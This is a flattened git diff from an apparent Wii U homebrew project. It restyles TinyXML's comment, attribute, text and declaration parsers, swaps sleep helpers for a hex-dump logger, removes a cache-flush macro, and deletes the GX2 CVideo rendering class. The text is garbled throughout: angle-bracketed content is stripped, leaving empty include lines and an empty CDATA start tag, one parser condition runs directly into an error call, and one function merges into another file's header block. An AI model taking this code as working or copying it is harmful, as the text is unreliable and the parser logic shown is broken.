+ // p = ReadText( p, &value, false, endTag, false, encoding ); + // + // from the XML spec: + /* + [Definition: Comments may appear anywhere in a document outside other markup; in addition, + they may appear within the document type declaration at places allowed by the grammar. + They are not part of the document's character data; an XML processor MAY, but need not, + make it possible for an application to retrieve the text of comments. For compatibility, + the string "--" (double-hyphen) MUST NOT occur within comments.] Parameter entity + references MUST NOT be recognized within comments. - An example of a comment: + An example of a comment: - - */ + + */ - value = ""; - // Keep all the white space. - while ( p && *p && !StringEqual( p, endTag, false, encoding ) ) - { - value.append( p, 1 ); - ++p; - } - if ( p && *p ) - p += strlen( endTag ); + value = ""; + // Keep all the white space. + while ( p && *p && !StringEqual( p, endTag, false, encoding ) ) { + value.append( p, 1 ); + ++p; + } + if ( p && *p ) + p += strlen( endTag ); - return p; + return p; } -const char* TiXmlAttribute::Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ) -{ - p = SkipWhiteSpace( p, encoding ); - if ( !p || !*p ) return 0; +const char* TiXmlAttribute::Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ) { + p = SkipWhiteSpace( p, encoding ); + if ( !p || !*p ) + return 0; - if ( data ) - { - data->Stamp( p, encoding ); - location = data->Cursor(); - } - // Read the name, the '=' and the value. - const char* pErr = p; - p = ReadName( p, &name, encoding ); - if ( !p || !*p ) - { - if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, pErr, data, encoding ); - return 0; - } - p = SkipWhiteSpace( p, encoding ); - if ( !p || !*p || *p != '=' ) - { - if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding ); - return 0; - } + if ( data ) { + data->Stamp( p, encoding ); + location = data->Cursor(); + } + // Read the name, the '=' and the value. + const char* pErr = p; + p = ReadName( p, &name, encoding ); + if ( !p || !*p ) { + if ( document ) + document->SetError( TIXML_ERROR_READING_ATTRIBUTES, pErr, data, encoding ); + return 0; + } + p = SkipWhiteSpace( p, encoding ); + if ( !p || !*p || *p != '=' ) { + if ( document ) + document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding ); + return 0; + } - ++p; // skip '=' - p = SkipWhiteSpace( p, encoding ); - if ( !p || !*p ) - { - if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding ); - return 0; - } + ++p; // skip '=' + p = SkipWhiteSpace( p, encoding ); + if ( !p || !*p ) { + if ( document ) + document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding ); + return 0; + } - const char* end; - const char SINGLE_QUOTE = '\''; - const char DOUBLE_QUOTE = '\"'; + const char* end; + const char SINGLE_QUOTE = '\''; + const char DOUBLE_QUOTE = '\"'; - if ( *p == SINGLE_QUOTE ) - { - ++p; - end = "\'"; // single quote in string - p = ReadText( p, &value, false, end, false, encoding ); - } - else if ( *p == DOUBLE_QUOTE ) - { - ++p; - end = "\""; // double quote in string - p = ReadText( p, &value, false, end, false, encoding ); - } - else - { - // All attribute values should be in single or double quotes. - // But this is such a common error that the parser will try - // its best, even without them. - value = ""; - while ( p && *p // existence - && !IsWhiteSpace( *p ) // whitespace - && *p != '/' && *p != '>' ) // tag end - { - if ( *p == SINGLE_QUOTE || *p == DOUBLE_QUOTE ) { - // [ 1451649 ] Attribute values with trailing quotes not handled correctly - // We did not have an opening quote but seem to have a - // closing one. Give up and throw an error. - if ( document ) document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding ); - return 0; - } - value += *p; - ++p; - } - } - return p; + if ( *p == SINGLE_QUOTE ) { + ++p; + end = "\'"; // single quote in string + p = ReadText( p, &value, false, end, false, encoding ); + } else if ( *p == DOUBLE_QUOTE ) { + ++p; + end = "\""; // double quote in string + p = ReadText( p, &value, false, end, false, encoding ); + } else { + // All attribute values should be in single or double quotes. + // But this is such a common error that the parser will try + // its best, even without them. + value = ""; + while ( p && *p // existence + && !IsWhiteSpace( *p ) // whitespace + && *p != '/' && *p != '>' ) { // tag end + if ( *p == SINGLE_QUOTE || *p == DOUBLE_QUOTE ) { + // [ 1451649 ] Attribute values with trailing quotes not handled correctly + // We did not have an opening quote but seem to have a + // closing one. Give up and throw an error. + if ( document ) + document->SetError( TIXML_ERROR_READING_ATTRIBUTES, p, data, encoding ); + return 0; + } + value += *p; + ++p; + } + } + return p; } #ifdef TIXML_USE_STL -void TiXmlText::StreamIn( std::istream * in, TIXML_STRING * tag ) -{ - while ( in->good() ) - { - int c = in->peek(); - if ( !cdata && (c == '<' ) ) - { - return; - } - if ( c <= 0 ) - { - TiXmlDocument* document = GetDocument(); - if ( document ) - document->SetError( TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN ); - return; - } +void TiXmlText::StreamIn( std::istream * in, TIXML_STRING * tag ) { + while ( in->good() ) { + int c = in->peek(); + if ( !cdata && (c == '<' ) ) { + return; + } + if ( c <= 0 ) { + TiXmlDocument* document = GetDocument(); + if ( document ) + document->SetError( TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN ); + return; + } - (*tag) += (char) c; - in->get(); // "commits" the peek made above + (*tag) += (char) c; + in->get(); // "commits" the peek made above - if ( cdata && c == '>' && tag->size() >= 3 ) { - size_t len = tag->size(); - if ( (*tag)[len-2] == ']' && (*tag)[len-3] == ']' ) { - // terminator of cdata. - return; - } - } - } + if ( cdata && c == '>' && tag->size() >= 3 ) { + size_t len = tag->size(); + if ( (*tag)[len-2] == ']' && (*tag)[len-3] == ']' ) { + // terminator of cdata. + return; + } + } + } } #endif -const char* TiXmlText::Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ) -{ - value = ""; - TiXmlDocument* document = GetDocument(); +const char* TiXmlText::Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding encoding ) { + value = ""; + TiXmlDocument* document = GetDocument(); - if ( data ) - { - data->Stamp( p, encoding ); - location = data->Cursor(); - } + if ( data ) { + data->Stamp( p, encoding ); + location = data->Cursor(); + } - const char* const startTag = ""; + const char* const startTag = ""; - if ( cdata || StringEqual( p, startTag, false, encoding ) ) - { - cdata = true; + if ( cdata || StringEqual( p, startTag, false, encoding ) ) { + cdata = true; - if ( !StringEqual( p, startTag, false, encoding ) ) - { - if ( document ) - document->SetError( TIXML_ERROR_PARSING_CDATA, p, data, encoding ); - return 0; - } - p += strlen( startTag ); + if ( !StringEqual( p, startTag, false, encoding ) ) { + if ( document ) + document->SetError( TIXML_ERROR_PARSING_CDATA, p, data, encoding ); + return 0; + } + p += strlen( startTag ); - // Keep all the white space, ignore the encoding, etc. - while ( p && *p - && !StringEqual( p, endTag, false, encoding ) - ) - { - value += *p; - ++p; - } + // Keep all the white space, ignore the encoding, etc. + while ( p && *p + && !StringEqual( p, endTag, false, encoding ) + ) { + value += *p; + ++p; + } - TIXML_STRING dummy; - p = ReadText( p, &dummy, false, endTag, false, encoding ); - return p; - } - else - { - bool ignoreWhite = true; + TIXML_STRING dummy; + p = ReadText( p, &dummy, false, endTag, false, encoding ); + return p; + } else { + bool ignoreWhite = true; - const char* end = "<"; - p = ReadText( p, &value, ignoreWhite, end, false, encoding ); - if ( p && *p ) - return p-1; // don't truncate the '<' - return 0; - } + const char* end = "<"; + p = ReadText( p, &value, ignoreWhite, end, false, encoding ); + if ( p && *p ) + return p-1; // don't truncate the '<' + return 0; + } } #ifdef TIXML_USE_STL -void TiXmlDeclaration::StreamIn( std::istream * in, TIXML_STRING * tag ) -{ - while ( in->good() ) - { - int c = in->get(); - if ( c <= 0 ) - { - TiXmlDocument* document = GetDocument(); - if ( document ) - document->SetError( TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN ); - return; - } - (*tag) += (char) c; +void TiXmlDeclaration::StreamIn( std::istream * in, TIXML_STRING * tag ) { + while ( in->good() ) { + int c = in->get(); + if ( c <= 0 ) { + TiXmlDocument* document = GetDocument(); + if ( document ) + document->SetError( TIXML_ERROR_EMBEDDED_NULL, 0, 0, TIXML_ENCODING_UNKNOWN ); + return; + } + (*tag) += (char) c; - if ( c == '>' ) - { - // All is well. - return; - } - } + if ( c == '>' ) { + // All is well. + return; + } + } } #endif -const char* TiXmlDeclaration::Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding _encoding ) -{ - p = SkipWhiteSpace( p, _encoding ); - // Find the beginning, find the end, and look for - // the stuff in-between. - TiXmlDocument* document = GetDocument(); - if ( !p || !*p || !StringEqual( p, "SetError( TIXML_ERROR_PARSING_DECLARATION, 0, 0, _encoding ); - return 0; - } - if ( data ) - { - data->Stamp( p, _encoding ); - location = data->Cursor(); - } - p += 5; +const char* TiXmlDeclaration::Parse( const char* p, TiXmlParsingData* data, TiXmlEncoding _encoding ) { + p = SkipWhiteSpace( p, _encoding ); + // Find the beginning, find the end, and look for + // the stuff in-between. + TiXmlDocument* document = GetDocument(); + if ( !p || !*p || !StringEqual( p, "SetError( TIXML_ERROR_PARSING_DECLARATION, 0, 0, _encoding ); + return 0; + } + if ( data ) { + data->Stamp( p, _encoding ); + location = data->Cursor(); + } + p += 5; - version = ""; - encoding = ""; - standalone = ""; + version = ""; + encoding = ""; + standalone = ""; - while ( p && *p ) - { - if ( *p == '>' ) - { - ++p; - return p; - } + while ( p && *p ) { + if ( *p == '>' ) { + ++p; + return p; + } - p = SkipWhiteSpace( p, _encoding ); - if ( StringEqual( p, "version", true, _encoding ) ) - { - TiXmlAttribute attrib; - p = attrib.Parse( p, data, _encoding ); - version = attrib.Value(); - } - else if ( StringEqual( p, "encoding", true, _encoding ) ) - { - TiXmlAttribute attrib; - p = attrib.Parse( p, data, _encoding ); - encoding = attrib.Value(); - } - else if ( StringEqual( p, "standalone", true, _encoding ) ) - { - TiXmlAttribute attrib; - p = attrib.Parse( p, data, _encoding ); - standalone = attrib.Value(); - } - else - { - // Read over whatever it is. - while( p && *p && *p != '>' && !IsWhiteSpace( *p ) ) - ++p; - } - } - return 0; + p = SkipWhiteSpace( p, _encoding ); + if ( StringEqual( p, "version", true, _encoding ) ) { + TiXmlAttribute attrib; + p = attrib.Parse( p, data, _encoding ); + version = attrib.Value(); + } else if ( StringEqual( p, "encoding", true, _encoding ) ) { + TiXmlAttribute attrib; + p = attrib.Parse( p, data, _encoding ); + encoding = attrib.Value(); + } else if ( StringEqual( p, "standalone", true, _encoding ) ) { + TiXmlAttribute attrib; + p = attrib.Parse( p, data, _encoding ); + standalone = attrib.Value(); + } else { + // Read over whatever it is. + while( p && *p && *p != '>' && !IsWhiteSpace( *p ) ) + ++p; + } + } + return 0; } -bool TiXmlText::Blank() const -{ - for ( unsigned i=0; i +#include +#include +#include +#include +#include +#include +#include - -#define BUS_SPEED 248625000 -#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4)) -#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000) -#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000) - -void usleep(unsigned int microsecs) -{ - OSSleepTicks(MICROSECS_TO_TICKS(microsecs)); -} - -void sleep(unsigned int secs) -{ - OSSleepTicks(SECS_TO_TICKS(secs)); +// https://gist.github.com/ccbrown/9722406 +void dumpHex(const void* data, size_t size) { + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + DEBUG_FUNCTION_LINE("0x%08X (0x0000): ", data); + for (i = 0; i < size; ++i) { + log_printf("%02X ", ((unsigned char*)data)[i]); + if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char*)data)[i]; + } else { + ascii[i % 16] = '.'; + } + if ((i+1) % 8 == 0 || i+1 == size) { + log_printf(" "); + if ((i+1) % 16 == 0) { + log_printf("| %s \n", ascii); + if(i + 1 < size) { + DEBUG_FUNCTION_LINE("0x%08X (0x%04X); ", data + i + 1,i+1); + } + } else if (i+1 == size) { + ascii[(i+1) % 16] = '\0'; + if ((i+1) % 16 <= 8) { + log_printf(" "); + } + for (j = (i+1) % 16; j < 16; ++j) { + log_printf(" "); + } + log_printf("| %s \n", ascii); + } + } + } } diff --git a/src/utils/utils.h b/src/utils/utils.h index 729e808..26caaaf 100644 --- a/src/utils/utils.h +++ b/src/utils/utils.h @@ -2,45 +2,31 @@ #define __UTILS_H_ #include -#include "../common/types.h" #ifdef __cplusplus extern "C" { #endif -#define FlushBlock(addr) asm volatile("dcbf %0, %1\n" \ - "icbi %0, %1\n" \ - "sync\n" \ - "eieio\n" \ - "isync\n" \ - : \ - :"r"(0), "r"(((addr) & ~31)) \ - :"memory", "ctr", "lr", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" \ - ); - #define LIMIT(x, min, max) \ ({ \ typeof( x ) _x = x; \ typeof( min ) _min = min; \ typeof( max ) _max = max; \ ( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) ); \ - }) +}) #define DegToRad(a) ( (a) * 0.01745329252f ) -#define RadToDeg(a) ( (a) * 57.29577951f ) +#define RadToDeg(a) ( (a) * 57.29577951f ) #define ALIGN4(x) (((x) + 3) & ~3) -#define ALIGN32(x) (((x) + 31) & ~31) +#define ALIGN32(x) (((x) + 31) & ~31) -// those work only in powers of 2 -#define ROUNDDOWN(val, align) ((val) & ~(align-1)) -#define ROUNDUP(val, align) ROUNDDOWN(((val) + (align-1)), align) +#define le16(i) ((((uint16_t) ((i) & 0xFF)) << 8) | ((uint16_t) (((i) & 0xFF00) >> 8))) +#define le32(i) ((((uint32_t)le16((i) & 0xFFFF)) << 16) | ((uint32_t)le16(((i) & 0xFFFF0000) >> 16))) +#define le64(i) ((((uint64_t)le32((i) & 0xFFFFFFFFLL)) << 32) | ((uint64_t)le32(((i) & 0xFFFFFFFF00000000LL) >> 32))) -#define le16(i) ((((u16) ((i) & 0xFF)) << 8) | ((u16) (((i) & 0xFF00) >> 8))) -#define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16))) -#define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32))) - -void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); +//Needs to have log_init() called beforehand. +void dumpHex(const void* data, size_t size); #ifdef __cplusplus } diff --git a/src/video/CVideo.cpp b/src/video/CVideo.cpp deleted file mode 100644 index adef8a1..0000000 --- a/src/video/CVideo.cpp +++ /dev/null @@ -1,264 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include "CVideo.h" -#include "system/memory.h" -#include "shaders/Texture2DShader.h" -#include "shaders/ColorShader.h" -#include "shaders/Shader3D.h" -#include "shaders/FXAAShader.h" - -CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) -{ - tvEnabled = false; - drcEnabled = false; - - //! allocate MEM2 command buffer memory - gx2CommandBuffer = MEM2_alloc(GX2_COMMAND_BUFFER_SIZE, 0x40); - - //! initialize GX2 command buffer - u32 gx2_init_attributes[9]; - gx2_init_attributes[0] = GX2_INIT_CMD_BUF_BASE; - gx2_init_attributes[1] = (u32)gx2CommandBuffer; - gx2_init_attributes[2] = GX2_INIT_CMD_BUF_POOL_SIZE; - gx2_init_attributes[3] = GX2_COMMAND_BUFFER_SIZE; - gx2_init_attributes[4] = GX2_INIT_ARGC; - gx2_init_attributes[5] = 0; - gx2_init_attributes[6] = GX2_INIT_ARGV; - gx2_init_attributes[7] = 0; - gx2_init_attributes[8] = GX2_INIT_END; - GX2Init(gx2_init_attributes); - - u32 scanBufferSize = 0; - u32 scaleNeeded = 0; - - s32 tvScanMode = ((forceTvScanMode >= 0) ? forceTvScanMode : (s32)GX2GetSystemTVScanMode()); - s32 drcScanMode = ((forceDrcScanMode >= 0) ? forceDrcScanMode : (s32)GX2GetSystemDRCScanMode()); - - s32 tvRenderMode; - u32 tvWidth = 0; - u32 tvHeight = 0; - - switch(tvScanMode) - { - case GX2_TV_SCAN_MODE_480I: - case GX2_TV_SCAN_MODE_480P: - tvWidth = 854; - tvHeight = 480; - tvRenderMode = GX2_TV_RENDER_MODE_WIDE_480P; - break; - case GX2_TV_SCAN_MODE_1080I: - case GX2_TV_SCAN_MODE_1080P: - tvWidth = 1920; - tvHeight = 1080; - tvRenderMode = GX2_TV_RENDER_MODE_WIDE_1080P; - break; - case GX2_TV_SCAN_MODE_720P: - default: - tvWidth = 1280; - tvHeight = 720; - tvRenderMode = GX2_TV_RENDER_MODE_WIDE_720P; - break; - } - - s32 tvAAMode = GX2_AA_MODE1X; - s32 drcAAMode = GX2_AA_MODE4X; - - //! calculate the scale factor for later texture resize - widthScaleFactor = 1.0f / (f32)tvWidth; - heightScaleFactor = 1.0f / (f32)tvHeight; - depthScaleFactor = widthScaleFactor; - - //! calculate the size needed for the TV scan buffer and allocate the buffer from bucket memory - GX2CalcTVSize((GX2TVRenderMode)tvRenderMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE, &scanBufferSize, &scaleNeeded); - tvScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvScanBuffer, scanBufferSize); - GX2SetTVBuffer(tvScanBuffer, scanBufferSize, (GX2TVRenderMode)tvRenderMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE); - - //! calculate the size needed for the DRC scan buffer and allocate the buffer from bucket memory - GX2CalcDRCSize((GX2DrcRenderMode)drcScanMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE, &scanBufferSize, &scaleNeeded); - drcScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcScanBuffer, scanBufferSize); - GX2SetDRCBuffer(drcScanBuffer, scanBufferSize, (GX2DrcRenderMode)drcScanMode, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_BUFFERING_MODE_DOUBLE); - - //! Setup color buffer for TV rendering - GX2InitColorBuffer(&tvColorBuffer, GX2_SURFACE_DIM_TEXTURE_2D, tvWidth, tvHeight, 1, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, (GX2AAMode)tvAAMode); - tvColorBuffer.surface.image = MEM1_alloc(tvColorBuffer.surface.imageSize, tvColorBuffer.surface.alignment); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvColorBuffer.surface.image, tvColorBuffer.surface.imageSize); - - //! due to AA we can only use 16 bit depth buffer in MEM1 otherwise we would have to switch to mem2 for depth buffer - //! this should be ok for our purpose i guess - - //! Setup TV depth buffer (can be the same for both if rendered one after another) - u32 size, align; - GX2InitDepthBuffer(&tvDepthBuffer, GX2_SURFACE_DIM_TEXTURE_2D, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_FLOAT_R32, (GX2AAMode)tvAAMode); - tvDepthBuffer.surface.image = MEM1_alloc(tvDepthBuffer.surface.imageSize, tvDepthBuffer.surface.alignment); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvDepthBuffer.surface.image, tvDepthBuffer.surface.imageSize); - - //! Setup TV HiZ buffer - GX2CalcDepthBufferHiZInfo(&tvDepthBuffer, &size, &align); - tvDepthBuffer.hiZPtr = MEM1_alloc(size, align); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvDepthBuffer.hiZPtr, size); - GX2InitDepthBufferHiZEnable(&tvDepthBuffer, GX2_ENABLE); - - //! Setup color buffer for DRC rendering - GX2InitColorBuffer(&drcColorBuffer, GX2_SURFACE_DIM_TEXTURE_2D, 854, 480, 1, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, (GX2AAMode)drcAAMode); - drcColorBuffer.surface.image = MEM1_alloc(drcColorBuffer.surface.imageSize, drcColorBuffer.surface.alignment); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcColorBuffer.surface.image, drcColorBuffer.surface.imageSize); - - //! Setup DRC depth buffer (can be the same for both if rendered one after another) - GX2InitDepthBuffer(&drcDepthBuffer, GX2_SURFACE_DIM_TEXTURE_2D, drcColorBuffer.surface.width, drcColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_FLOAT_R32, (GX2AAMode)drcAAMode); - drcDepthBuffer.surface.image = MEM1_alloc(drcDepthBuffer.surface.imageSize, drcDepthBuffer.surface.alignment); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcDepthBuffer.surface.image, drcDepthBuffer.surface.imageSize); - - //! Setup DRC HiZ buffer - GX2CalcDepthBufferHiZInfo(&drcDepthBuffer, &size, &align); - drcDepthBuffer.hiZPtr = MEM1_alloc(size, align); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcDepthBuffer.hiZPtr, size); - GX2InitDepthBufferHiZEnable(&drcDepthBuffer, GX2_ENABLE); - - - //! allocate auxilary buffer last as there might not be enough MEM1 left for other stuff after that - if (tvColorBuffer.surface.aa) - { - u32 auxSize, auxAlign; - GX2CalcColorBufferAuxInfo(&tvColorBuffer, &auxSize, &auxAlign); - tvColorBuffer.aaBuffer = MEM1_alloc(auxSize, auxAlign); - if(!tvColorBuffer.aaBuffer) - tvColorBuffer.aaBuffer = MEM2_alloc(auxSize, auxAlign); - - tvColorBuffer.aaSize = auxSize; - memset(tvColorBuffer.aaBuffer, GX2_AA_BUFFER_CLEAR_VALUE, auxSize); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU, tvColorBuffer.aaBuffer, auxSize); - } - - if (drcColorBuffer.surface.aa) - { - u32 auxSize, auxAlign; - GX2CalcColorBufferAuxInfo(&drcColorBuffer, &auxSize, &auxAlign); - drcColorBuffer.aaBuffer = MEM1_alloc(auxSize, auxAlign); - if(!drcColorBuffer.aaBuffer) - drcColorBuffer.aaBuffer = MEM2_alloc(auxSize, auxAlign); - drcColorBuffer.aaSize = auxSize; - memset(drcColorBuffer.aaBuffer, GX2_AA_BUFFER_CLEAR_VALUE, auxSize); - GX2Invalidate(GX2_INVALIDATE_MODE_CPU, drcColorBuffer.aaBuffer, auxSize); - } - - //! allocate memory and setup context state TV - tvContextState = (GX2ContextState*)MEM2_alloc(sizeof(GX2ContextState), GX2_CONTEXT_STATE_ALIGNMENT); - GX2SetupContextStateEx(tvContextState, GX2_TRUE); - - //! allocate memory and setup context state DRC - drcContextState = (GX2ContextState*)MEM2_alloc(sizeof(GX2ContextState), GX2_CONTEXT_STATE_ALIGNMENT); - GX2SetupContextStateEx(drcContextState, GX2_TRUE); - - //! set initial context state and render buffers - GX2SetContextState(tvContextState); - GX2SetColorBuffer(&tvColorBuffer, GX2_RENDER_TARGET_0); - GX2SetDepthBuffer(&tvDepthBuffer); - - GX2SetContextState(drcContextState); - GX2SetColorBuffer(&drcColorBuffer, GX2_RENDER_TARGET_0); - GX2SetDepthBuffer(&drcDepthBuffer); - - //! set initial viewport - GX2SetViewport(0.0f, 0.0f, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 0.0f, 1.0f); - GX2SetScissor(0, 0, tvColorBuffer.surface.width, tvColorBuffer.surface.height); - - //! this is not necessary but can be used for swap counting and vsyncs - GX2SetSwapInterval(1); - - //GX2SetTVGamma(0.8f); - //GX2SetDRCGamma(0.8f); - - //! initialize perspective matrix - const float cam_X_rot = 25.0f; - - projectionMtx = glm::perspective(45.0f, 1.0f, 0.1f, 100.0f); - - viewMtx = glm::mat4(1.0f); - viewMtx = glm::translate(viewMtx, glm::vec3(0.0f, 0.0f, -2.5f)); - viewMtx = glm::rotate(viewMtx, DegToRad(cam_X_rot), glm::vec3(1.0f, 0.0f, 0.0f)); - - GX2InitSampler(&aaSampler, GX2_TEX_CLAMP_MODE_CLAMP, GX2_TEX_XY_FILTER_MODE_LINEAR); - GX2InitTexture(&tvAaTexture, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, 0, GX2_SURFACE_FORMAT_UNORM_R8_G8_B8_A8, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_DEFAULT); - tvAaTexture.surface.image = tvColorBuffer.surface.image; - tvAaTexture.surface.imageSize = tvColorBuffer.surface.imageSize; - tvAaTexture.surface.mipmaps = tvColorBuffer.surface.mipmaps; -} - -CVideo::~CVideo() -{ - //! flush buffers - GX2Flush(); - GX2DrawDone(); - //! shutdown - GX2Shutdown(); - //! free command buffer memory - MEM2_free(gx2CommandBuffer); - //! free scan buffers - MEMBucket_free(tvScanBuffer); - MEMBucket_free(drcScanBuffer); - //! free color buffers - MEM1_free(tvColorBuffer.surface.image); - MEM1_free(drcColorBuffer.surface.image); - //! free depth buffers - MEM1_free(tvDepthBuffer.surface.image); - MEM1_free(tvDepthBuffer.hiZPtr); - MEM1_free(drcDepthBuffer.surface.image); - MEM1_free(drcDepthBuffer.hiZPtr); - //! free context buffers - MEM2_free(tvContextState); - MEM2_free(drcContextState); - //! free aux buffer - if(tvColorBuffer.aaBuffer) - { - if(((u32)tvColorBuffer.aaBuffer & 0xF0000000) == 0xF0000000) - MEM1_free(tvColorBuffer.aaBuffer); - else - MEM2_free(tvColorBuffer.aaBuffer); - } - if(drcColorBuffer.aaBuffer) - { - if(((u32)drcColorBuffer.aaBuffer & 0xF0000000) == 0xF0000000) - MEM1_free(drcColorBuffer.aaBuffer); - else - MEM2_free(drcColorBuffer.aaBuffer); - } - //! destroy shaders - ColorShader::destroyInstance(); - FXAAShader::destroyInstance(); - Shader3D::destroyInstance(); - Texture2DShader::destroyInstance(); -} - -void CVideo::renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler) -{ - resolution[0] = texture->surface.width; - resolution[1] = texture->surface.height; - - GX2Invalidate((GX2InvalidateMode)(GX2_INVALIDATE_MODE_COLOR_BUFFER | GX2_INVALIDATE_MODE_TEXTURE), texture->surface.image, texture->surface.imageSize); - - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_ALWAYS); - FXAAShader::instance()->setShaders(); - FXAAShader::instance()->setAttributeBuffer(); - FXAAShader::instance()->setResolution(resolution); - FXAAShader::instance()->setTextureAndSampler(texture, sampler); - FXAAShader::instance()->draw(); - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); -} diff --git a/src/video/CVideo.h b/src/video/CVideo.h deleted file mode 100644 index 2539c21..0000000 --- a/src/video/CVideo.h +++ /dev/null @@ -1,206 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2015 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#ifndef __CVIDEO_H_ -#define __CVIDEO_H_ - -#include -#include -#include -#include -#include -#include -#include - -#include "shaders/Shader.h" - -class CVideo -{ -public: - CVideo(s32 forceTvScanMode = -1, s32 forceDrcScanMode = -1); - virtual ~CVideo(); - - void prepareTvRendering(void) { - currContextState = tvContextState; - currColorBuffer = &tvColorBuffer; - currDepthBuffer = &tvDepthBuffer; - prepareRendering(); - } - - void prepareDrcRendering(void) { - currContextState = drcContextState; - currColorBuffer = &drcColorBuffer; - currDepthBuffer = &drcDepthBuffer; - prepareRendering(); - } - - void prepareRendering(void) { - GX2ClearColor(currColorBuffer, 0.0f, 0.0f, 0.0f, 1.0f); - GX2ClearDepthStencilEx(currDepthBuffer, currDepthBuffer->depthClear, currDepthBuffer->stencilClear, GX2_CLEAR_FLAGS_BOTH); - - GX2SetContextState(currContextState); - GX2SetViewport(0.0f, 0.0f, currColorBuffer->surface.width, currColorBuffer->surface.height, 0.0f, 1.0f); - GX2SetScissor(0, 0, currColorBuffer->surface.width, currColorBuffer->surface.height); - - GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_LEQUAL); - GX2SetColorControl(GX2_LOGIC_OP_COPY, 1, GX2_DISABLE, GX2_ENABLE); - GX2SetBlendControl(GX2_RENDER_TARGET_0, GX2_BLEND_MODE_SRC_ALPHA, GX2_BLEND_MODE_INV_SRC_ALPHA, GX2_BLEND_COMBINE_MODE_ADD, GX2_ENABLE, GX2_BLEND_MODE_SRC_ALPHA, GX2_BLEND_MODE_INV_SRC_ALPHA, GX2_BLEND_COMBINE_MODE_ADD); - GX2SetCullOnlyControl(GX2_FRONT_FACE_CCW, GX2_DISABLE, GX2_ENABLE); - } - - void setStencilRender(bool bEnable) - { - if(bEnable) - { - GX2SetStencilMask(0xff, 0xff, 0x01, 0xff, 0xff, 0x01); - GX2SetDepthStencilControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_FUNC_LEQUAL, GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_FUNC_ALWAYS, GX2_STENCIL_FUNCTION_KEEP, 